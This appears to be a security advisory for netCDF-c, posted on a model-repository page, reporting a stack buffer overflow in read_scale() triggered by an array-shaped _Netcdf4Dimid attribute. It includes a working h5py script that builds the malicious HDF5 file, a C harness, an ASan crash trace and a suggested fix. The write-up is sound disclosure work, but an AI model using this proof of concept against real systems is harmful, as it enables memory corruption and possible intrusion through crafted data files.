You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Stack-buffer-overflow (WRITE) in netCDF-c read_scale via unvalidated element count of the hidden _Netcdf4Dimid attribute

Summary

When netCDF-4 opens an HDF5 file, read_scale() (libhdf5/hdf5open.c) reads the hidden _Netcdf4Dimid attribute of an HDF5 dimension-scale dataset directly into a single 4-byte stack int without ever checking that the attribute is a scalar. An attacker who declares that attribute as an N-element int array causes H5Aread to write N*4 bytes into the 4-byte stack slot, producing a fully attacker-controlled stack-buffer-overflow (WRITE) that is triggered by nothing more than nc_open().

  • Target: netCDF-c
  • Version tested: netCDF 4.10.1-wellspring, commit c91c55d, HDF5 support on
  • Built: ASan debug libnetcdf at netcdf-c/build_hdf5_asan, linked to system libhdf5_serial 1.14.6
  • Sink: libhdf5/hdf5open.c β€” read_scale()
  • Class: CWE-121 Stack-based Buffer Overflow (out-of-bounds WRITE), attacker-controlled content
  • Trigger: nc_open(path, NC_NOWRITE, &ncid) β€” no further API calls

Root cause

read_scale() reads the on-disk _Netcdf4Dimid attribute into a stack scalar:

/* libhdf5/hdf5open.c */
int assigned_id = -1;                              /* line 2466 β€” single 4-byte stack int */
...
if (attr_exists)
{
    if ((attid = H5Aopen_by_name(datasetid,".", NC_DIMID_ATT_NAME,
                                 H5P_DEFAULT, H5P_DEFAULT)) < 0)
        BAIL(NC_EHDFERR);

    if (H5Aread(attid, H5T_NATIVE_INT, &assigned_id) < 0)   /* line 2481 β€” writes EVERY element */
        BAIL(NC_EHDFERR);

    /* Check if scale's dimid should impact the group's next dimid */
    if (assigned_id >= grp->nc4_info->next_dimid)
        grp->nc4_info->next_dimid = assigned_id + 1;
}

H5Aread copies every element of the attribute β€” converted to native int β€” into the supplied buffer. The buffer here (&assigned_id) has room for exactly one int. The code never queries the attribute's dataspace / point count (H5Aget_space + H5Sget_simple_extent_npoints) to confirm npoints == 1. So if the attribute's on-disk element count is N, HDF5 writes N*4 bytes onto the stack, smashing the adjacent locals (new_dim, len, lenp, dimscale_name_att) and the frame redzone with attacker-controlled data.

Real netCDF always writes _Netcdf4Dimid as an H5S_SCALAR single int (see nc4hdf.c), so this is a classic case of the reader trusting an on-disk element count that the file format lets an attacker fully control.

Reachability

The path is reached automatically during metadata scan of any dimension-scale dataset:

nc_open
  -> NC4_open -> nc4_open_file
    -> rec_read_metadata            (hdf5open.c:2880)
      -> read_hdf5_obj              (hdf5open.c:2742)
        -> read_dataset             (hdf5open.c:2625)  [H5DSis_scale() detects CLASS="DIMENSION_SCALE"]
          -> read_scale             (hdf5open.c:2456)
            -> H5Aread(_Netcdf4Dimid) (hdf5open.c:2481)  <== overflow

Distinction from the separately-reported read_coord_dimids / _Netcdf4Coordinates bug

This is a distinct finding:

This report read_coord_dimids report
Function read_scale read_coord_dimids
Attribute _Netcdf4Dimid _Netcdf4Coordinates
Sink stack (int assigned_id) heap
Missing check element COUNT not validated at all validates COUNT but not element SIZE

Different function, different attribute, different sink, and the opposite missing check. Not a duplicate.

Proof of Concept

Build the malicious file β€” mkpoc.py (h5py, libver="earliest")

import h5py, numpy as np
N = 1024  # 1024 int32 => 4096 bytes written into a 4-byte stack slot

def build(fname, dimid_data):
    with h5py.File(fname, "w", libver="earliest") as f:
        d = f.create_dataset("d", shape=(4,), dtype="float32")
        d.make_scale("d")                                  # CLASS="DIMENSION_SCALE"
        d.attrs.create("_Netcdf4Dimid", data=dimid_data)   # array, not scalar

build("poc_dimid.h5", np.arange(N, dtype="<i4") | 0x41414141)

# Negative control: proper scalar int32 (what real netCDF writes).
with h5py.File("neg_dimid.h5", "w", libver="earliest") as f:
    d = f.create_dataset("d", shape=(4,), dtype="float32")
    d.make_scale("d")
    d.attrs.create("_Netcdf4Dimid", data=np.int32(0))

poc_dimid.h5 carries a _Netcdf4Dimid attribute of shape (1024,) int32 instead of a scalar.

Harness β€” h.c

#include <stdio.h>
#include "netcdf.h"
int main(int argc, char**argv){
    int ncid; int st = nc_open(argv[1], NC_NOWRITE, &ncid);
    printf("nc_open(%s) -> %d (%s)\n", argv[1], st, nc_strerror(st));
    if(!st){ nc_close(ncid); printf("closed\n"); }
    return 0;
}

During nc_open, read_scale -> H5Aread writes 1024*4 = 4096 bytes into the 4-byte assigned_id stack variable.

Captured evidence (verbatim, ASan)

==584546==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7bd0d23f0424 at pc 0x7fd0d5d21cc4 bp 0x7ffcf14d2200 sp 0x7ffcf14d19c0
WRITE of size 4096 at 0x7bd0d23f0424 thread T0
    #0 0x7fd0d5d21cc3 in memcpy
    #1 0x7fd0d5073d96 in H5A__read (libhdf5_serial.so.310+0x73d96)
    #6 0x7fd0d506965f in H5Aread (libhdf5_serial.so.310+0x6965f)
    #7 0x7fd0d59905e5 in read_scale     /home/kali/.../netcdf-c/libhdf5/hdf5open.c:2481
    #8 0x7fd0d59910c4 in read_dataset   .../libhdf5/hdf5open.c:2625
    #9 0x7fd0d59916c3 in read_hdf5_obj  .../libhdf5/hdf5open.c:2742
   #23 0x7fd0d5991fba in rec_read_metadata .../libhdf5/hdf5open.c:2880
   #24 0x7fd0d598a017 in nc4_open_file  .../libhdf5/hdf5open.c:981
   #25 0x7fd0d598a357 in NC4_open       .../libhdf5/hdf5open.c:1067
   #27 0x7fd0d58d6160 in nc_open        .../libdispatch/dfile.c:696
   #28 0x55a112ebc29f in main           .../poc/dimid_scale_bug/h.c:4

Address 0x7bd0d23f0424 is located in stack of thread T0 at offset 36 in frame
    #0 0x7fd0d599027e in read_scale     .../libhdf5/hdf5open.c:2456

  This frame has 5 object(s):
    [32, 36) 'assigned_id' (line 2466)          <== target buffer (4 bytes) receiving 4096-byte write
    [48, 56) 'new_dim' (line 2457) <== Memory access at offset 36 partially underflows this variable
    [80, 88) 'len' (line 2538)
    [112, 120) 'lenp' (line 2538)
    [144, 401) 'dimscale_name_att' (line 2459)
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in H5A__read
==584546==ABORTING

Negative control

neg_dimid.h5 is byte-for-byte the same construction except _Netcdf4Dimid is a scalar int32 β€” exactly what real netCDF writes:

nc_open(neg_dimid.h5) -> 0 (No error)
closed

No ASan error. This confirms the crash is caused specifically by the non-scalar (array) element count of the hidden attribute, not by anything else in the file.

Suggested fix

Before H5Aread, query the attribute's dataspace and reject a non-scalar _Netcdf4Dimid (i.e. require H5Sget_simple_extent_npoints(space) == 1), or read into a properly sized buffer bounded by that count. The same scalar-count validation should be applied to every hidden netCDF attribute read into a fixed-size stack/H5T_NATIVE_* buffer.

Dedup note

  • No matching CVE for read_scale / _Netcdf4Dimid at time of filing.
  • Distinct from the read_coord_dimids / _Netcdf4Coordinates heap finding (different function, attribute, sink, and missing check β€” see table above).

Files

  • mkpoc.py β€” builds poc_dimid.h5 and neg_dimid.h5
  • h.c β€” minimal nc_open harness
  • poc_dimid.h5 β€” malicious dimension scale, _Netcdf4Dimid shape (1024,) int32
  • neg_dimid.h5 β€” negative control, scalar _Netcdf4Dimid
  • ASAN_dimid_scale_stack_overflow.txt β€” full verbatim ASan report
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support